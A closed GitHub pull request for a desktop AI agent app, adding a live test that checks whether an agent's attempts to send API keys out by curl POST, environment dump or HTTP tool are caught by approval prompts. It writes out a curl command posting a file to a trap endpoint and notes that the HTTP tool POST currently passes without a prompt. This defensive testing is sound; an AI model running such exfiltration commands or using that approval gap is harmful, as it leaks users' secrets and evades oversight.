Repository navigation
Live tests: sending a key out by command, POST or environment is stopped (L19) - #1203
Closed
sosidudku1 wants to merge 2 commits into
Closed
sosidudku1 wants to merge 2 commits into
sosidudku1 wants to merge 2 commits into
Conversation
A plain curl posting a project file now runs unasked and reaches the trap (control). The same curl posting the agent's own .env must still ask (state_secret). The env-filter part runs unasked at level 4. The HTTP tool POST part is dropped: from level 3 the ladder lets it through with no card, which is filed separately.
Collaborator
Author
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Linear: ATO-1387
Stacked on #1199 (attack kit).
What
desktop/test/live/L19-key-exfiltration-stopped.mjsruns at approval level 4, where a plain shell command runs without asking. Only the key-specific guards can raise a card there. Fake keys are made fresh for each run.0. Control:
curl -s -X POST --data-binary @notes.txt <trap>/collectruns with no card, and the trap receives exactly that file. So the level really is 4, and the trap would catch a file that got out.<state>/.envgets a card anyway (state_secret, pinned at level 5). The card offers only one-time answers. While it is up, and after Deny, the trap gets nothing new, the model is told the person refused, and the.envis untouched.OPENROUTER_API_KEYin the app environment, plus an ordinary canary variable.dump-env.shruns with no card and writes its environment to a file. PATH and the canary are there; the key's value and its name are not (src/sandbox/command-env.ts).At the end, no key reached the trap, a model request, the window, or the app log.
Dropped: the
os.http.requestPOST part. From level 3 the ladder approves thehttpcategory without a card, even withapprovalMode: "writes", so at level 4 that POST would be sent. Filed as ATO-1462 instead of being pinned by a test. GET and browser links are ATO-1377.Check
On the second Mac:
node desktop/test/live/run-all.mjs L19should printPASS L19-key-exfiltration-stoppedandPASS 1 FAIL 0 SKIP 0.Test-only change.
Verification
state_secretshell check removed, part 1 gets no card,waitCardtimes out, and the scenario fails. With the env filter removed, part 2 fails.node desktop/test/live/run-all.mjs L19on the second Mac.Checked on the second Mac on 12.11.2026 in the combined run with the other open PRs: build, lint, test types, vitest, desktop unit tests, desktop smoke and live smoke all green.